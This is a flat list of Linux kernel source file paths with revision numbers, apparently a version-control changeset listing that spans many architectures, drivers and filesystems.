linux/kernel/ksyms.c - 1.174 linux/kernel/fork.c - 1.76 linux/ipc/util.c - 1.22 linux/ipc/shm.c - 1.59 linux/ipc/sem.c - 1.23 linux/ipc/msg.c - 1.16 linux/init/main.c - 1.96 linux/include/scsi/scsi.h - 1.8 linux/include/net/sock.h - 1.39 linux/include/linux/videodev.h - 1.24 linux/include/linux/swap.h - 1.68 linux/include/linux/shm.h - 1.15 linux/include/linux/sem.h - 1.9 linux/include/linux/sched.h - 1.91 linux/include/linux/ptrace.h - 1.5 linux/include/linux/poll.h - 1.5 linux/include/linux/pipe_fs_i.h - 1.11 linux/include/linux/personality.h - 1.11 linux/include/linux/pci.h - 1.67 linux/include/linux/mm.h - 1.107 linux/include/linux/miscdevice.h - 1.12 linux/include/linux/kernel_stat.h - 1.13 linux/include/linux/kdev_t.h - 1.9 linux/include/linux/ipc.h - 1.8 linux/include/linux/genhd.h - 1.31 linux/include/linux/fs.h - 1.198 linux/include/linux/ext2_fs_sb.h - 1.8 linux/include/linux/ext2_fs.h - 1.23 linux/include/linux/elf.h - 1.16 linux/include/linux/dcache.h - 1.30 linux/include/linux/blkdev.h - 1.77 linux/include/asm-sparc64/processor.h - 1.26 linux/include/asm-sparc64/mman.h - 1.5 linux/include/asm-sparc/processor.h - 1.20 linux/include/asm-sparc/mman.h - 1.5 linux/include/asm-ppc/processor.h - 1.36 linux/include/asm-mips/ptrace.h - 1.9 linux/include/asm-mips/processor.h - 1.20 linux/include/asm-m68k/virtconvert.h - 1.6 linux/include/asm-m68k/system.h - 1.11 linux/include/asm-m68k/softirq.h - 1.8 linux/include/asm-m68k/q40_master.h - 1.5 linux/include/asm-m68k/processor.h - 1.17 linux/include/asm-m68k/poll.h - 1.4 linux/include/asm-m68k/page.h - 1.13 linux/include/asm-m68k/io.h - 1.9 linux/include/asm-m68k/hardirq.h - 1.9 linux/include/asm-m68k/floppy.h - 1.6 linux/include/asm-m68k/dvma.h - 1.7 linux/include/asm-m68k/checksum.h - 1.5 linux/include/asm-i386/unistd.h - 1.31 linux/include/asm-i386/ptrace.h - 1.10 linux/include/asm-i386/processor.h - 1.45 linux/include/asm-i386/mmu_context.h - 1.23 linux/include/asm-i386/mman.h - 1.5 linux/include/asm-arm/system.h - 1.25 linux/include/asm-arm/ptrace.h - 1.8 linux/include/asm-arm/processor.h - 1.26 linux/include/asm-arm/proc-armv/pgtable.h - 1.18 linux/include/asm-arm/poll.h - 1.3 linux/include/asm-arm/mman.h - 1.5 linux/include/asm-arm/io.h - 1.23 linux/include/asm-arm/arch-ebsa285/hardware.h - 1.10 linux/include/asm-alpha/unistd.h - 1.25 linux/include/asm-alpha/system.h - 1.25 linux/include/asm-alpha/siginfo.h - 1.10 linux/include/asm-alpha/processor.h - 1.17 linux/include/asm-alpha/poll.h - 1.3 linux/include/asm-alpha/mman.h - 1.5 linux/include/asm-alpha/machvec.h - 1.15 linux/include/asm-alpha/hwrpb.h - 1.7 linux/include/asm-alpha/floppy.h - 1.7 linux/include/asm-alpha/dma.h - 1.7 linux/fs/select.c - 1.20 linux/fs/proc/base.c - 1.44 linux/fs/proc/array.c - 1.51 linux/fs/pipe.c - 1.37 linux/fs/namei.c - 1.62 linux/fs/inode.c - 1.86 linux/fs/file_table.c - 1.26 linux/fs/ext2/symlink.c - 1.12 linux/fs/ext2/super.c - 1.38 linux/fs/ext2/namei.c - 1.28 linux/fs/ext2/inode.c - 1.59 linux/fs/ext2/ialloc.c - 1.31 linux/fs/ext2/file.c - 1.24 linux/fs/ext2/acl.c - 1.7 linux/fs/ext2/Makefile - 1.7 linux/fs/exec.c - 1.71 linux/fs/binfmt_elf.c - 1.48 linux/fs/binfmt_aout.c - 1.29 linux/fs/attr.c - 1.18 linux/fs/Makefile - 1.74 linux/drivers/zorro/proc.c - 1.14 linux/drivers/video/hpfb.c - 1.17 linux/drivers/video/fbcon.c - 1.29 linux/drivers/scsi/u14-34f.h - 1.14 linux/drivers/scsi/u14-34f.c - 1.26 linux/drivers/scsi/sym53c8xx.h - 1.12 linux/drivers/scsi/st.h - 1.18 linux/drivers/scsi/st.c - 1.57 linux/drivers/scsi/sr.h - 1.12 linux/drivers/scsi/sr.c - 1.58 linux/drivers/scsi/sg.c - 1.43 linux/drivers/scsi/sd.c - 1.78 linux/drivers/scsi/scsi.h - 1.39 linux/drivers/scsi/scsi.c - 1.65 linux/drivers/scsi/ncr53c8xx.h - 1.8 linux/drivers/scsi/inia100.h - 1.13 linux/drivers/scsi/ide-scsi.c - 1.48 linux/drivers/scsi/hosts.h - 1.30 linux/drivers/scsi/eata.h - 1.14 linux/drivers/scsi/eata.c - 1.29 linux/drivers/scsi/constants.c - 1.14 linux/drivers/scsi/aha1542.c - 1.29 linux/drivers/scsi/Makefile - 1.44 linux/drivers/pci/pci.c - 1.62 linux/drivers/nubus/nubus.c - 1.11 linux/drivers/net/daynaport.c - 1.12 linux/drivers/net/Makefile - 1.63 linux/drivers/net/3c509.c - 1.37 linux/drivers/macintosh/mac_keyb.c - 1.17 linux/drivers/char/sysrq.c - 1.31 linux/drivers/char/nvram.c - 1.24 linux/drivers/char/Makefile - 1.78 linux/drivers/block/z2ram.c - 1.24 linux/drivers/block/rd.c - 1.67 linux/drivers/block/ps2esdi.c - 1.53 linux/drivers/block/ll_rw_blk.c - 1.122 linux/drivers/block/genhd.c - 1.41 linux/drivers/block/floppy.c - 1.58 linux/drivers/block/ataflop.c - 1.33 linux/drivers/block/amiflop.c - 1.34 linux/drivers/acorn/block/fd1772.c - 1.27 linux/drivers/Makefile - 1.39 linux/arch/sparc64/mm/init.c - 1.53 linux/arch/sparc64/kernel/sys_sparc.c - 1.27 linux/arch/sparc64/kernel/smp.c - 1.49 linux/arch/sparc64/kernel/ptrace.c - 1.20 linux/arch/sparc64/kernel/process.c - 1.42 linux/arch/sparc64/kernel/irq.c - 1.30 linux/arch/sparc/kernel/sun4d_irq.c - 1.18 linux/arch/sparc/kernel/ptrace.c - 1.17 linux/arch/sparc/kernel/process.c - 1.32 linux/arch/sparc/kernel/irq.c - 1.25 linux/arch/ppc/kernel/ptrace.c - 1.16 linux/arch/ppc/kernel/misc.S - 1.50 linux/arch/ppc/kernel/irq.c - 1.41 linux/arch/ppc/amiga/ints.c - 1.9 linux/arch/ppc/amiga/cia.c - 1.9 linux/arch/ppc/amiga/amiints.c - 1.14 linux/arch/mips/sgi/kernel/time.c - 1.9 linux/arch/mips/sgi/kernel/indy_int.c - 1.11 linux/arch/mips/kernel/time.c - 1.14 linux/arch/mips/kernel/ptrace.c - 1.15 linux/arch/mips/kernel/process.c - 1.15 linux/arch/mips/kernel/irq.c - 1.14 linux/arch/m68k/sun3x/time.c - 1.6 linux/arch/m68k/sun3x/config.c - 1.8 linux/arch/m68k/q40/q40ints.c - 1.7 linux/arch/m68k/q40/config.c - 1.17 linux/arch/m68k/mvme147/config.c - 1.14 linux/arch/m68k/mm/memory.c - 1.14 linux/arch/m68k/mm/Makefile - 1.6 linux/arch/m68k/mac/macints.c - 1.10 linux/arch/m68k/mac/config.c - 1.13 linux/arch/m68k/lib/checksum.c - 1.4 linux/arch/m68k/kernel/traps.c - 1.15 linux/arch/m68k/kernel/time.c - 1.7 linux/arch/m68k/kernel/setup.c - 1.19 linux/arch/m68k/kernel/ptrace.c - 1.13 linux/arch/m68k/kernel/process.c - 1.18 linux/arch/m68k/kernel/m68k_ksyms.c - 1.13 linux/arch/m68k/kernel/m68k_defs.c - 1.7 linux/arch/m68k/kernel/ints.c - 1.8 linux/arch/m68k/kernel/entry.S - 1.19 linux/arch/m68k/kernel/bios32.c - 1.8 linux/arch/m68k/kernel/Makefile - 1.12 linux/arch/m68k/ifpsp060/iskeleton.S - 1.5 linux/arch/m68k/ifpsp060/fskeleton.S - 1.4 linux/arch/m68k/hp300/time.c - 1.5 linux/arch/m68k/hp300/Makefile - 1.6 linux/arch/m68k/fpsp040/x_unsupp.S - 1.3 linux/arch/m68k/fpsp040/x_unimp.S - 1.3 linux/arch/m68k/fpsp040/x_unfl.S - 1.3 linux/arch/m68k/fpsp040/x_store.S - 1.4 linux/arch/m68k/fpsp040/x_snan.S - 1.3 linux/arch/m68k/fpsp040/x_ovfl.S - 1.3 linux/arch/m68k/fpsp040/x_operr.S - 1.3 linux/arch/m68k/fpsp040/x_fline.S - 1.3 linux/arch/m68k/fpsp040/x_bsun.S - 1.3 linux/arch/m68k/fpsp040/util.S - 1.4 linux/arch/m68k/fpsp040/stwotox.S - 1.3 linux/arch/m68k/fpsp040/sto_res.S - 1.3 linux/arch/m68k/fpsp040/stanh.S - 1.3 linux/arch/m68k/fpsp040/stan.S - 1.3 linux/arch/m68k/fpsp040/ssin.S - 1.3 linux/arch/m68k/fpsp040/srem_mod.S - 1.3 linux/arch/m68k/fpsp040/smovecr.S - 1.3 linux/arch/m68k/fpsp040/slogn.S - 1.3 linux/arch/m68k/fpsp040/skeleton.S - 1.5 linux/arch/m68k/fpsp040/sint.S - 1.3 linux/arch/m68k/fpsp040/sgetem.S - 1.3 linux/arch/m68k/fpsp040/setox.S - 1.3 linux/arch/m68k/fpsp040/scale.S - 1.3 linux/arch/m68k/fpsp040/satan.S - 1.3 linux/arch/m68k/fpsp040/round.S - 1.3 linux/arch/m68k/fpsp040/res_func.S - 1.3 linux/arch/m68k/fpsp040/kernel_ex.S - 1.3 linux/arch/m68k/fpsp040/get_op.S - 1.4 linux/arch/m68k/fpsp040/gen_except.S - 1.3 linux/arch/m68k/fpsp040/do_func.S - 1.4 linux/arch/m68k/fpsp040/decbin.S - 1.4 linux/arch/m68k/fpsp040/bugfix.S - 1.3 linux/arch/m68k/fpsp040/binstr.S - 1.3 linux/arch/m68k/fpsp040/bindec.S - 1.4 linux/arch/m68k/defconfig - 1.15 linux/arch/m68k/atari/config.c - 1.11 linux/arch/m68k/atari/ataints.c - 1.9 linux/arch/m68k/atari/Makefile - 1.7 linux/arch/m68k/apollo/dn_ints.c - 1.9 linux/arch/m68k/apollo/config.c - 1.9 linux/arch/m68k/amiga/config.c - 1.16 linux/arch/m68k/amiga/cia.c - 1.7 linux/arch/m68k/amiga/amisound.c - 1.10 linux/arch/m68k/amiga/amiints.c - 1.10 linux/arch/i386/mm/init.c - 1.47 linux/arch/i386/kernel/sys_i386.c - 1.11 linux/arch/i386/kernel/ptrace.c - 1.25 linux/arch/i386/kernel/process.c - 1.60 linux/arch/i386/kernel/ldt.c - 1.16 linux/arch/i386/kernel/irq.c - 1.52 linux/arch/i386/kernel/ioport.c - 1.7 linux/arch/i386/kernel/i386_ksyms.c - 1.62 linux/arch/i386/kernel/entry.S - 1.67 linux/arch/i386/Makefile - 1.39 linux/arch/arm/mm/proc-sa110.S - 1.28 linux/arch/arm/mm/mm-armv.c - 1.31 linux/arch/arm/mm/ioremap.c - 1.10 linux/arch/arm/lib/backtrace.S - 1.10 linux/arch/arm/lib/Makefile - 1.25 linux/arch/arm/kernel/traps.c - 1.31 linux/arch/arm/kernel/setup.c - 1.37 linux/arch/arm/kernel/ptrace.c - 1.23 linux/arch/arm/kernel/process.c - 1.32 linux/arch/arm/kernel/irq.c - 1.24 linux/arch/arm/kernel/fiq.c - 1.14 linux/arch/arm/kernel/entry-armv.S - 1.37 linux/arch/arm/kernel/entry-armo.S - 1.16 linux/arch/arm/kernel/armksyms.c - 1.30 linux/arch/arm/boot/Makefile - 1.21 linux/arch/arm/Makefile - 1.37 linux/arch/alpha/mm/fault.c - 1.19 linux/arch/alpha/kernel/traps.c - 1.24 linux/arch/alpha/kernel/sys_takara.c - 1.11 linux/arch/alpha/kernel/sys_sx164.c - 1.13 linux/arch/alpha/kernel/sys_sio.c - 1.16 linux/arch/alpha/kernel/sys_sable.c - 1.12 linux/arch/alpha/kernel/sys_rx164.c - 1.12 linux/arch/alpha/kernel/sys_ruffian.c - 1.15 linux/arch/alpha/kernel/sys_rawhide.c - 1.15 linux/arch/alpha/kernel/sys_noritake.c - 1.12 linux/arch/alpha/kernel/sys_mikasa.c - 1.13 linux/arch/alpha/kernel/sys_miata.c - 1.15 linux/arch/alpha/kernel/sys_jensen.c - 1.13 linux/arch/alpha/kernel/sys_eb64p.c - 1.11 linux/arch/alpha/kernel/sys_dp264.c - 1.20 linux/arch/alpha/kernel/sys_cabriolet.c - 1.16 linux/arch/alpha/kernel/sys_alcor.c - 1.13 linux/arch/alpha/kernel/signal.c - 1.20 linux/arch/alpha/kernel/ptrace.c - 1.16 linux/arch/alpha/kernel/proto.h - 1.20 linux/arch/alpha/kernel/process.c - 1.30 linux/arch/alpha/kernel/osf_sys.c - 1.34 linux/arch/alpha/kernel/irq.c - 1.26 linux/arch/alpha/kernel/entry.S - 1.32 linux/arch/alpha/kernel/core_tsunami.c - 1.22 linux/arch/alpha/kernel/core_cia.c - 1.26 linux/arch/alpha/kernel/Makefile - 1.26 linux/arch/alpha/defconfig - 1.33 linux/arch/alpha/Makefile - 1.24 linux/Makefile - 1.229 linux/MAINTAINERS - 1.125 linux/Documentation/video4linux/bttv/README - 1.16 linux/drivers/sbus/char/aurora.c - 1.21 linux/arch/i386/vmlinux.lds.S - 1.12 linux/arch/mips/dec/irq.c - 1.10 linux/arch/mips/baget/irq.c - 1.11 linux/kernel/ptrace.c - 1.27 linux/arch/arm/def-configs/rpc - 1.11 linux/arch/arm/def-configs/ebsa110 - 1.11 linux/drivers/char/raw.c - 1.33 linux/include/linux/isapnp.h - 1.14 linux/fs/partitions/check.c - 1.59 linux/drivers/scsi/sun3x_esp.c - 1.8 linux/drivers/atm/zatm.c - 1.17 linux/arch/arm/vmlinux-armv.lds.in - 1.21 linux/arch/arm/vmlinux-armo.lds.in - 1.20 linux/arch/arm/kernel/bios32.c - 1.31 linux/arch/alpha/kernel/pci.c - 1.25 linux/arch/alpha/kernel/irq_impl.h - 1.5 linux/drivers/block/DAC960.c - 1.62 linux/arch/sh/kernel/ptrace.c - 1.13 linux/arch/sh/kernel/process.c - 1.22 linux/arch/sh/kernel/irq.c - 1.16 linux/include/asm-sh/ptrace.h - 1.8 linux/include/asm-sh/processor.h - 1.19 linux/drivers/nubus/proc.c - 1.7 linux/drivers/net/sun3lance.c - 1.13 linux/arch/m68k/vmlinux-sun3.lds - 1.11 linux/arch/m68k/sun3/sun3ints.c - 1.6 linux/arch/m68k/sun3/mmu_emu.c - 1.5 linux/arch/m68k/sun3/idprom.c - 1.3 linux/arch/m68k/sun3/config.c - 1.9 linux/arch/m68k/sun3/Makefile - 1.9 linux/arch/m68k/mm/sun3mmu.c - 1.6 linux/arch/m68k/mm/motorola.c - 1.9 linux/arch/m68k/kernel/sun3-head.S - 1.6 linux/include/asm-m68k/sun3mmu.h - 1.2 linux/include/asm-m68k/sun3ints.h - 1.5 linux/Documentation/filesystems/proc.txt - 1.14 linux/arch/i386/kernel/smpboot.c - 1.51 linux/mm/highmem.c - 1.47 linux/include/asm-arm/pci.h - 1.22 linux/fs/proc/proc_misc.c - 1.48 linux/ipc/util.h - 1.8 linux/drivers/scsi/sun3_scsi.h - 1.4 linux/drivers/scsi/sun3_scsi.c - 1.13 linux/arch/ppc/configs/apus_defconfig - 1.19 linux/arch/alpha/math-emu/math.c - 1.5 linux/arch/alpha/kernel/sys_nautilus.c - 1.10 linux/arch/alpha/kernel/sys_eiger.c - 1.9 linux/include/linux/mmzone.h - 1.32 linux/kernel/timer.c - 1.36 linux/drivers/scsi/scsi_lib.c - 1.54 linux/Documentation/video4linux/bttv/CARDLIST - 1.15 linux/arch/arm/boot/compressed/head-sa1100.S - 1.10 linux/drivers/scsi/3w-xxxx.h - 1.15 linux/drivers/scsi/3w-xxxx.c - 1.24 linux/arch/m68k/sun3/intersil.c - 1.4 linux/arch/m68k/atari/hades-pci.c - 1.4 linux/include/asm-m68k/pci.h - 1.6 linux/arch/ia64/kernel/entry.S - 1.31 linux/arch/ia64/ia32/sys_ia32.c - 1.35 linux/arch/ia64/vmlinux.lds.S - 1.17 linux/arch/ia64/defconfig - 1.24 linux/arch/alpha/kernel/pci_iommu.c - 1.20 linux/arch/ia64/kernel/irq.c - 1.24 linux/arch/ia64/kernel/setup.c - 1.21 linux/arch/ia64/kernel/sys_ia64.c - 1.16 linux/arch/ia64/kernel/ptrace.c - 1.18 linux/arch/ia64/kernel/process.c - 1.22 linux/arch/ia64/mm/init.c - 1.23 linux/drivers/scsi/qla1280.h - 1.9 linux/include/asm-ia64/ide.h - 1.14 linux/include/asm-ia64/processor.h - 1.27 linux/include/asm-ia64/poll.h - 1.2 linux/include/asm-ia64/pgtable.h - 1.20 linux/include/asm-ia64/page.h - 1.18 linux/include/asm-ia64/ptrace.h - 1.10 linux/include/asm-ia64/unistd.h - 1.26 linux/include/asm-ia64/system.h - 1.21 linux/drivers/scsi/sun3_NCR5380.c - 1.7 linux/drivers/char/amiserial.c - 1.15 linux/include/asm-mips64/ptrace.h - 1.5 linux/include/asm-mips64/processor.h - 1.13 linux/arch/mips64/sgi-ip22/ip22-int.c - 1.9 linux/arch/mips64/sgi-ip27/ip27-timer.c - 1.9 linux/arch/mips64/sgi-ip27/ip27-irq.c - 1.11 linux/arch/mips64/sgi-ip22/ip22-timer.c - 1.7 linux/arch/mips64/kernel/process.c - 1.9 linux/arch/mips64/kernel/ptrace.c - 1.10 linux/arch/alpha/kernel/irq_alpha.c - 1.11 linux/drivers/ide/ide.c - 1.76 linux/drivers/ide/ide-tape.c - 1.39 linux/drivers/ide/ide-floppy.c - 1.40 linux/drivers/ide/ide-cd.h - 1.17 linux/drivers/ide/ide-cd.c - 1.54 linux/drivers/block/elevator.c - 1.26 linux/Documentation/DocBook/Makefile - 1.39 linux/arch/ia64/kernel/smpboot.c - 1.16 linux/arch/s390/kernel/process.c - 1.15 linux/arch/arm/def-configs/lart - 1.10 linux/include/asm-s390/ptrace.h - 1.8 linux/include/asm-s390/processor.h - 1.12 linux/arch/arm/def-configs/assabet - 1.12 linux/arch/arm/def-configs/graphicsclient - 1.11 linux/arch/arm/def-configs/lusl7200 - 1.7 linux/arch/s390/kernel/ptrace.c - 1.10 linux/arch/mips64/kernel/ioctl32.c - 1.13 linux/kdb/modules/kdbm_pg.c - 1.68 linux/arch/alpha/kernel/core_titan.c - 1.7 linux/arch/alpha/kernel/sys_titan.c - 1.7 linux/arch/alpha/kernel/sys_wildfire.c - 1.6 linux/drivers/acpi/tables/tbutils.c - 1.14 linux/drivers/acpi/parser/psparse.c - 1.15 linux/drivers/acpi/parser/psargs.c - 1.13 linux/drivers/acpi/namespace/nsalloc.c - 1.12 linux/arch/arm/mm/proc-arm720.S - 1.15 linux/drivers/acpi/events/evxfregn.c - 1.12 linux/drivers/acpi/Makefile - 1.21 linux/drivers/net/ibmlana.c - 1.8 linux/include/linux/mtd/compatmac.h - 1.3 linux/drivers/media/video/tuner.h - 1.9 linux/drivers/media/video/tuner.c - 1.12 linux/drivers/media/video/bttv.h - 1.12 linux/drivers/media/video/bttv-if.c - 1.6 linux/drivers/media/video/bttv-driver.c - 1.24 linux/drivers/media/video/bttv-cards.c - 1.14 linux/drivers/media/video/bt848.h - 1.4 linux/drivers/media/video/Makefile - 1.11 linux/arch/arm/def-configs/shark - 1.11 linux/arch/arm/mm/proc-arm920.S - 1.12 linux/drivers/acpi/include/acconfig.h - 1.20 linux/drivers/acpi/include/acparser.h - 1.11 linux/drivers/zorro/zorro.ids - 1.4 linux/drivers/media/video/bttvp.h - 1.10 linux/arch/parisc/kernel/drivers.c - 1.3 linux/arch/parisc/kernel/entry.S - 1.5 linux/drivers/parport/parport_gsc.c - 1.7 linux/include/asm-parisc/gsc.h - 1.3 linux/drivers/net/lasi_82596.c - 1.13 linux/arch/arm/def-configs/integrator - 1.6 linux/arch/arm/def-configs/neponset - 1.11 linux/arch/arm/def-configs/pangolin - 1.9 linux/include/asm-parisc/poll.h - 1.2 linux/arch/parisc/mm/Makefile - 1.4 linux/include/asm-parisc/processor.h - 1.8 linux/arch/parisc/lib/Makefile - 1.5 linux/arch/parisc/kernel/syscall.S - 1.4 linux/arch/parisc/kernel/sys_parisc.c - 1.5 linux/arch/parisc/kernel/setup.c - 1.4 linux/arch/parisc/kernel/sba_iommu.c - 1.4 linux/arch/parisc/kernel/real1.c - 1.2 linux/include/asm-m68k/sun3_pgalloc.h - 1.9 linux/arch/parisc/kernel/ptrace.c - 1.6 linux/arch/parisc/kernel/process.c - 1.7 linux/arch/parisc/kernel/pdc.c - 1.2 linux/arch/parisc/kernel/parisc_ksyms.c - 1.5 linux/arch/parisc/kernel/pa7300lc.c - 1.3 linux/arch/parisc/kernel/led.c - 1.2 linux/arch/parisc/kernel/lba_pci.c - 1.3 linux/arch/parisc/kernel/lasimap.map - 1.2 linux/arch/parisc/kernel/irq.c - 1.5 linux/arch/parisc/kernel/iosapic_private.h - 1.2 linux/arch/parisc/kernel/iosapic.c - 1.3 linux/arch/parisc/kernel/hardware.c - 1.3 linux/include/asm-parisc/io.h - 1.3 linux/arch/parisc/kernel/ccio-rm-dma.c - 1.3 linux/arch/parisc/kernel/ccio-dma.c - 1.4 linux/arch/parisc/kernel/Makefile - 1.5 linux/arch/parisc/hpux/wrappers.S - 1.2 linux/arch/parisc/hpux/sys_hpux.c - 1.4 linux/arch/parisc/hpux/ioctl.c - 1.2 linux/arch/parisc/hpux/gate.S - 1.2 linux/arch/parisc/hpux/fs.c - 1.4 linux/arch/parisc/hpux/entry_hpux.S - 1.3 linux/arch/parisc/hpux/Makefile - 1.4 linux/arch/parisc/Makefile - 1.9 linux/mm/shmem.c - 1.50 linux/drivers/scsi/osst.h - 1.6 linux/drivers/scsi/osst.c - 1.18 linux/fs/posix_acl.c - 1.8 linux/include/asm-s390x/ptrace.h - 1.5 linux/include/asm-s390x/processor.h - 1.8 linux/arch/s390x/kernel/ptrace.c - 1.9 linux/arch/s390x/kernel/process.c - 1.12 linux/arch/s390x/kernel/ioctl32.c - 1.7 linux/arch/cris/kernel/entry.S - 1.14 linux/arch/cris/kernel/irq.c - 1.10 linux/arch/cris/kernel/ptrace.c - 1.9 linux/include/asm-cris/processor.h - 1.11 linux/drivers/scsi/aic7xxx/aicasm/Makefile - 1.5 linux/drivers/scsi/aic7xxx/Makefile - 1.10 linux/arch/arm/mach-footbridge/mm.c - 1.4 linux/arch/mips/mips-boards/generic/time.c - 1.4 linux/arch/mips/mips-boards/atlas/atlas_int.c - 1.4 linux/lib/rwsem-spinlock.c - 1.3 linux/arch/mips/ite-boards/generic/irq.c - 1.6 linux/drivers/net/fealnx.c - 1.16 linux/include/asm-m68k/raw_io.h - 1.4 linux/include/asm-m68k/rtc.h - 1.3 linux/include/asm-m68k/sun3xflop.h - 1.3 linux/include/asm-m68k/zorro.h - 1.4 linux/include/net/bluetooth/bluetooth.h - 1.8 linux/include/net/bluetooth/hci_core.h - 1.8 linux/drivers/bluetooth/hci_usb.c - 1.17 linux/arch/m68k/sun3x/prom.c - 1.3 linux/arch/m68k/sun3/sun3dvma.c - 1.2 linux/net/bluetooth/Makefile - 1.8 linux/net/bluetooth/af_bluetooth.c - 1.9 linux/net/bluetooth/hci_core.c - 1.11 linux/net/bluetooth/hci_sock.c - 1.10 linux/net/bluetooth/syms.c - 1.6 linux/drivers/mtd/maps/Makefile - 1.6 linux/drivers/net/wireless/airo.c - 1.23 linux/arch/mips/kernel/old-irq.c - 1.5 linux/arch/mips/kernel/old-time.c - 1.3 linux/arch/cris/kernel/entryoffsets.c - 1.4 linux/drivers/net/dl2k.c - 1.18 linux/arch/arm/def-configs/anakin - 1.6 linux/arch/arm/def-configs/flexanet - 1.8 linux/arch/arm/def-configs/freebird - 1.6 linux/arch/arm/def-configs/freebird_new - 1.6 linux/arch/arm/def-configs/h3600 - 1.7 linux/arch/arm/def-configs/jornada720 - 1.8 linux/arch/arm/def-configs/pfs168_mqtft - 1.6 linux/arch/arm/def-configs/pfs168_mqvga - 1.6 linux/arch/arm/def-configs/pfs168_sastn - 1.6 linux/arch/arm/def-configs/pfs168_satft - 1.6 linux/arch/arm/def-configs/pleb - 1.6 linux/arch/arm/kernel/entry-header.S - 1.7 linux/drivers/bluetooth/hci_vhci.c - 1.8 linux/arch/mips/au1000/common/time.c - 1.2 linux/arch/mips64/mips-boards/generic/time.c - 1.3 linux/arch/mips/philips/nino/irq.c - 1.4 linux/arch/mips64/mips-boards/malta/malta_int.c - 1.3 linux/arch/mips64/mips-boards/atlas/atlas_int.c - 1.3 linux/Documentation/video4linux/bttv/Tuners - 1.3 linux/Documentation/video4linux/bttv/Cards - 1.4 linux/drivers/net/irda/sa1100_ir.c - 1.6 linux/arch/arm/def-configs/adsbitsy - 1.7 linux/arch/arm/def-configs/cerfcube - 1.7 linux/arch/arm/def-configs/cerfpda - 1.7 linux/arch/arm/def-configs/cerfpod - 1.7 linux/arch/arm/def-configs/epxa10db - 1.7 linux/arch/arm/def-configs/graphicsmaster - 1.7 linux/arch/arm/mm/proc-arm1020.S - 1.8 linux/arch/arm/mm/proc-arm926.S - 1.8 linux/fs/ext3/file.c - 1.8 linux/fs/ext3/ialloc.c - 1.17 linux/fs/ext3/inode.c - 1.26 linux/fs/ext3/namei.c - 1.13 linux/fs/ext3/super.c - 1.26 linux/fs/ext3/symlink.c - 1.4 linux/include/linux/ext3_jbd.h - 1.6 linux/include/linux/ext3_fs_sb.h - 1.5 linux/include/linux/ext3_fs_i.h - 1.4 linux/include/linux/ext3_fs.h - 1.11 linux/fs/ext3/Makefile - 1.5 linux/fs/ext3/acl.c - 1.4 linux/fs/driverfs/inode.c - 1.25 linux/include/linux/driverfs_fs.h - 1.7 linux/include/linux/device.h - 1.23 linux/fs/driverfs/Makefile - 1.3 linux/init/do_mounts.c - 1.21 linux/Documentation/filesystems/driverfs.txt - 1.4 linux/arch/arm/mm/proc-xscale.S - 1.9 linux/arch/arm/mm/proc-arm922.S - 1.7 linux/arch/arm/def-configs/adi_evb - 1.6 linux/arch/arm/def-configs/iq80310 - 1.11 linux/arch/arm/def-configs/shannon - 1.6 linux/arch/arm/def-configs/system3 - 1.6 linux/arch/arm/mach-arc/head.S - 1.3 linux/arch/arm/mach-clps711x/time.c - 1.2 linux/arch/arm/kernel/head.S - 1.7 linux/drivers/ide/ide-taskfile.c - 1.25 linux/fs/ext2/ext2.h - 1.8 linux/drivers/base/interface.c - 1.10 linux/drivers/base/core.c - 1.19 linux/drivers/base/Makefile - 1.9 linux/sound/oss/trident.c - 1.7 linux/sound/oss/i810_audio.c - 1.7 linux/arch/ppc/platforms/mcpn765_setup.c - 1.6 linux/arch/ppc/platforms/prep_pci.c - 1.6 linux/arch/x86_64/ia32/ptrace32.c - 1.4 linux/arch/x86_64/kernel/irq.c - 1.6 linux/arch/x86_64/kernel/process.c - 1.10 linux/arch/x86_64/kernel/ptrace.c - 1.5 linux/include/asm-x86_64/ptrace.h - 1.5 linux/include/asm-x86_64/poll.h - 1.2 linux/include/asm-x86_64/mman.h - 1.4 linux/arch/ppc64/kernel/ioctl32.c - 1.9 linux/arch/ppc64/kernel/irq.c - 1.8 linux/arch/ppc64/kernel/misc.S - 1.10 linux/arch/ppc64/kernel/ptrace.c - 1.5 linux/arch/ppc64/kernel/ptrace32.c - 1.6 linux/include/asm-ppc64/processor.h - 1.10 linux/include/linux/posix_acl.h - 1.4 linux/include/asm-arm/arch-sa1100/badge4.h - 1.2 linux/fs/jfs/Makefile - 1.5 linux/fs/jfs/file.c - 1.13 linux/arch/arm/def-configs/badge4 - 1.8 linux/arch/arm/def-configs/fortunet - 1.5 linux/arch/arm/mm/copypage-v4mc.S - 1.3 linux/arch/arm/def-configs/stork - 1.6 linux/arch/arm/mm/copypage-v3.S - 1.3 linux/fs/jfs/jfs_incore.h - 1.13 linux/fs/jfs/namei.c - 1.13 linux/fs/jfs/super.c - 1.17 linux/arch/arm/mm/tlb-v4wb.S - 1.5 linux/fs/jfs/jfs_txnmgr.c - 1.19 linux/arch/arm/mach-sa1100/badge4.c - 1.9 linux/arch/arm/mm/tlb-v4.S - 1.6 linux/arch/arm/mm/tlb-v3.S - 1.5 linux/drivers/net/tulip/de2104x.c - 1.5 linux/drivers/net/tulip/de4x5.c - 1.5 linux/drivers/net/tulip/winbond-840.c - 1.6 linux/mm/msync.c - 1.9 linux/drivers/media/video/video-buf.h - 1.4 linux/Documentation/video4linux/bttv/README.freeze - 1.4 linux/drivers/media/video/video-buf.c - 1.5 linux/drivers/acpi/acpi_bus.h - 1.6 linux/drivers/media/video/bttv-risc.c - 1.3 linux/drivers/media/video/bttv-vbi.c - 1.4 linux/drivers/net/sun3_82586.c - 1.2 linux/arch/arm/mach-pxa/generic.c - 1.4 linux/drivers/base/sys.c - 1.6 linux/drivers/base/base.h - 1.11 linux/arch/ia64/hp/sim/simscsi.h - 1.4 linux/arch/ia64/hp/sim/simscsi.c - 1.5 linux/include/linux/page-flags.h - 1.15 linux/net/bluetooth/sco.c - 1.5 linux/net/bluetooth/l2cap.c - 1.6 linux/net/bluetooth/hci_conn.c - 1.5 linux/drivers/bluetooth/hci_h4.c - 1.6 linux/drivers/bluetooth/hci_ldisc.c - 1.5 linux/drivers/bluetooth/hci_uart.h - 1.3 linux/arch/arm/mm/copypage-v4wt.S - 1.2 linux/arch/arm/mm/copypage-v4wb.S - 1.2 linux/init/Makefile - 1.11 linux/drivers/base/bus.c - 1.8 linux/drivers/base/driver.c - 1.7 linux/drivers/acpi/bus.c - 1.9 linux/drivers/acpi/processor.c - 1.10 linux/drivers/acpi/osl.c - 1.8 linux/drivers/s390/net/lcs.c - 1.5 linux/arch/i386/kernel/cpu/proc.c - 1.4 linux/arch/i386/kernel/cpu/common.c - 1.8 linux/arch/arm/mm/proc-arm2_3.S - 1.2 linux/arch/arm/mm/proc-arm6_7.S - 1.3 